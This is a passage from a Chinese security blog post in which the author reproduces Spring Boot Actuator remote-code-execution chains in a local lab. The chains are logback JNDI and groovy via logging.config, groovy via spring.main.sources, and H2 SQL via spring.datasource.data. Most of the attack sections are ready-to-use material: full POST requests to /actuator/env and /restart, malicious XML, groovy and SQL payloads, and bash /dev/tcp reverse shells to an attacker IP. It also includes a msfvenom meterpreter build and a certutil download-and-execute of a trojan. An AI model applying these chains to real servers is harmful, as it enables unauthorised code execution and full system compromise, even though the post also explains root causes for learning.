	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:888) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:793) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1040) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:943) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:634) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) ~[spring-webmvc-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) ~[tomcat-embed-websocket-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter.doFilterInternal(WebMvcMetricsFilter.java:108) ~[spring-boot-actuator-2.2.1.RELEASE.jar:2.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.1.RELEASE.jar:5.2.1.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) ~[tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121]
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.27.jar:9.0.27]
	at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]

启动脚本的服务端，访问数据库查询接口后如下显示

image-20230329172924536

看了半天也不知道该怎么解决，先这样吧。

漏洞原理：

  1. spring.datasource.url属性被设置为外部恶意mysql jdbc url地址
  2. refresh刷新后设置了一个新的spring.datasource.url属性值
  3. 当网站进行数据库查询等操作时，会尝试使用恶意mysql jdbc url建立新的数据库连接
  4. 然后恶意mysql server就会在简历连接的合适阶段返回反序列化payload数据
  5. 目标依赖的mysql-connector-java就会反序列化设置好的gadget，造成RCE漏洞

3.9 restart logging.config logback JNDI RCE

漏洞代码：

1
springboot-restart-rce

利用条件：

  1. 可以POST请求网站的/env接口设置属性
  2. 可以POST请求目标网站的/restart接口重启应用
  3. 普通JNDI注入受目标jdk版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，但相关环境可绕过
  4. 目标可以请求攻击者的HTTP服务器(请求可出外网)，否则restart会导致程序异常退出
  5. HTTP服务器如果返回含有畸形xml语法内容的文件，会导致程序异常退出
  6. JNDI服务返回的object需要实现javax.naming.spi.ObjectFactory接口，否则会导致程序异常退出

利用方法：

  1. 托管xml文件

在自己控制的vps机器上开启一个HTTP服务器，端口可随意

1
python3 -m http.server 80

在根目录放置以xml结尾的example.xml文件，实际利用链需根据JNDI服务来确定

1
2
3
<configuration>
  <insertFromJNDI env-entry-name="ldap://10.30.3.182:1389/TomcatBypass/Command/Base64/Y2FsYy5leGU=" as="appName" />
</configuration>
1
2
3
4
5
Y2FsYy5leGU=

base64 decode

calc.exe
  1. 托管恶意ldap服务及代码

参考师傅的文章，修改JNDI并启动(不过不晓得为啥，我这里选中的JNDIExploit不修改也能用)

1
2
3
https://landgrey.me/blog/21/

https://github.com/pimps/JNDI-Exploit-Kit
  1. 设置logging.config属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 66

{"name":"logging.config","value":"http://10.30.3.182/example.xml"}

image-20230330105841747

  1. 重启应用

spring 1.x

1
2
3
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
POST /actuator/restart
Content-Type: application/json

修改数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 0


image-20230330105956575

不过这里奇奇怪怪的执行了两次，弹了两个计算器窗口出来，不太清楚为啥，后面有空在看吧。

还是老习惯了，弹个shell回来吧

example.xml

1
2
3
<configuration>
  <insertFromJNDI env-entry-name="ldap://10.30.3.182:1389/TomcatBypass/Command/Base64/YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMzAuMy4xODIvNzc3NyA8JjEn" as="appName" />
</configuration>
1
bash -c 'exec bash -i &>/dev/tcp/10.30.3.182/7777 <&1'

起个监听

1
nc -lvp 7777

不过这里我弹shell时出了问题。bash命令弹不回来，没有响应。改成powershell命令的话，直接就把服务端给gank掉了，更扯。最后换了nc命令，弹倒是能弹回来了，但是没有办法运行指令，输个命令敲下回车shell直接就断掉了。推测是因为我服务端的问题，导致没有办法持久化回显指令。

不过弹shell，怎么能如此轻言放弃呢。让我们换个思路，没法直接弹shell，那就上个木马吧。

这里图方便，就不在开cs了，直接msf吧

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.7.37 LPORT=7777 -f exe -o 7777.exe

木马生成后，我们首先把马下载下来

1
2
3
<configuration>
  <insertFromJNDI env-entry-name="ldap://10.30.3.182:1389/TomcatBypass/Command/Base64/Y2VydHV0aWwgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8vMTAuMzAuNy4zNy83Nzc3LmV4ZQ==" as="appName" />
</configuration>
1
certutil -urlcache -split -f http://10.30.7.37/7777.exe

image-20230330113937951

在这可以看到我们的木马已经下载好了，在msf上开个监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.30.7.37
set lport 7777
run

接着修改我们的脚本，运行7777.exe

1
2
3
<configuration>
  <insertFromJNDI env-entry-name="ldap://10.30.3.182:1389/TomcatBypass/Command/Base64/Nzc3Ny5leGU=" as="appName" />
</configuration>
1
7777.exe

image-20230330114812851

成功上线。

漏洞原理：

  1. 目标机器通过logging.config属性设置logback日志配置文件URL地址
  2. restart重启应用后，程序会请求URL地址获得恶意xml文件内容
  3. 目标机器使用saxParser.parse解析xml文件(这里导致了xxe漏洞)
  4. xml文件中利用logback依赖的insertFormJNDI标签，设置了外部JNDI服务器地址
  5. 目标机器请求恶意JNDI服务器，导致JNDI注入，造成RCE漏洞

3.10 restart logging.config groovy RCE

漏洞代码：

1
springboot-restart-rce

利用条件：

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/restar接口重启应用
  3. 目标可以请求攻击者的HTTP服务器(请求可出网)，否则restart会导致程序异常退出
  4. HTTP服务器如果返回含有畸形groovy语法内容的文件，会导致程序异常退出
  5. 环境中需要存在groovy依赖，否则会导致程序异常退出

利用方法：

  1. 托管groovy文件

在vps上开启HTTP服务，端口可随意

1
python3 -m http.server 80

根目录防止以groovy结尾的example.groovy文件，内容为需要执行的groovy代码

1
Runtime.getRuntime().exec("calc.exe")
  1. 设置logging.config属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 69

{"name":"logging.config","value":"http://10.30.3.182/example.groovy"}

image-20230330134705207

  1. 重启应用

spring 1.x

1
2
3
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
POST /actuator/restart
Content-Type: application/json

修改接口，放包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 0


image-20230330134901045

成功弹出计算器

修改命令，回弹shell

1
Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/10.30.3.182/7777 <&1'")

image-20230330135056056

漏洞原理：

  1. 目标机器通过logging.config属性设置logback日志配置文件URL地址
  2. restart重启应用后，程序会请求设置的URL地址
  3. logback-classic组件的ch.qos.logback.classic.util.ContextInitializer.java代码文件逻辑中会判断url是否以groovy结尾
  4. 如果url以groovy结尾，则最终会执行文件内容中的grovvy代码，造成RCE漏洞

3.11 restart spring.main.sources groovy RCE

这个漏洞利用方式其实和3.10的一样，这里就不写过程了，简单把原理copy一份给大家看看吧。

漏洞代码：

1
springboot-restart-rce

利用条件：

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/restar接口重启应用
  3. 目标可以请求攻击者的HTTP服务器(请求可出网)，否则restart会导致程序异常退出
  4. HTTP服务器如果返回含有畸形groovy语法内容的文件，会导致程序异常退出
  5. 环境中需要存在groovy依赖，否则会导致程序异常退出
  1. 设置spring.main.sources属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

漏洞原理：

  1. 目标机器可以通过spring.main.sources属性来设置创建ApplicationContext的额外源的URL地址
  2. restart重启应用后，程序会请求设置的URL地址
  3. spring-boot组件中的org.springframework.boot.BeanDefinitionLoader.java文件代码逻辑中会判断url是否以.groovy结尾
  4. 如果url以.groovy结尾，最最终会执行文件内容中的groovy代码，造成RCE漏洞

3.12 restart spring.datasource.data h2 database RCE

漏洞代码：

1
springboot-restart-rce

利用条件：

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/restart接口重启应用
  3. 环境中需要存在h2database、spring-boot-starter-data-jpa相关依赖
  4. 目标可以请求攻击者的HTTP服务器(请求可出网)，否则restart会导致程序异常退出
  5. HTTP服务器如果返回含有畸形h2 sql语法内容的文件，会导致程序异常退出

利用方法：

  1. 托管sql文件

在vps开启一个HTTP服务

1
python3 -m http.server 80

根目录放置任意名字的文件，内容为需要执行的h2 sql代码

下面payload中的’T5’方法只能restart执行一次；后面restart需要更换新的方法名称(如 T6)和设置新的sql URL地址，然后才能被restart重新使用，否则第二次restart重启应用时会导致程序异常退出

1
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('powershell','/c','calc.exe');
  1. 设置spring.datasource.data属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 74

{"name":"spring.datasource.data","value":"http://10.30.3.182/example.sql"}

image-20230330152219540

  1. 重启应用

spring 1.x

1
2
3
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
POST /actuator/restart
Content-Type: application/json

刷新数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 0


image-20230330152313125

成功弹出计算器。

修改脚本，回弹shell

1
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('bash','-c','exec bash -i &>/dev/tcp/10.30.3.182/7777 <&1');

image-20230330152430130

重新发包后回弹shell成功。

漏洞原理：

  1. 目标机器可以通过spring.datasource.data属性来设置jdbc DML sql文件的URL地址
  2. restart重启应用后，程序会请求设置中的URL地址
  3. spring-boot-autoconfigure组件中的org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java文件代码逻辑中会使用runScripts方法执行请求URL内容中的h2 database sql代码，造成RCE漏洞

4. 总结

​ 持续两个月的漏洞复现终于做完了。。。虽然还有好些问题没有解决，漏洞代码原理也还没有追踪学习，不过好歹是把漏洞搞定了。至于剩下的，以后有机会再说吧，Java真难，好累。。。

5. 参考链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Spring Boot漏洞复现
https://xz.aliyun.com/t/7811?accounttraceid=7face11229934c2c8e1c5dfdcb9785feyaww#toc-8

SpringBootVulExploit
https://github.com/LandGrey/SpringBootVulExploit

Spring Boot RCE到内存马探索
https://www.sec-in.com/article/1575

actuator-testbed
https://github.com/veracode-research/actuator-testbed

marshalsec
https://github.com/mbechler/marshalsec

JNDI-Exploit-Kit
https://github.com/pimps/JNDI-Exploit-Kit
本文作者： foxcookie
发布时间： 2023-01-05
最后更新： 2023-03-30
本文标题： Spring-RCE系列
本文链接： https://foxcookie.github.io/2023/01/05/Spring-RCE系列/
版权声明： 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处！

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

歪比巴卜？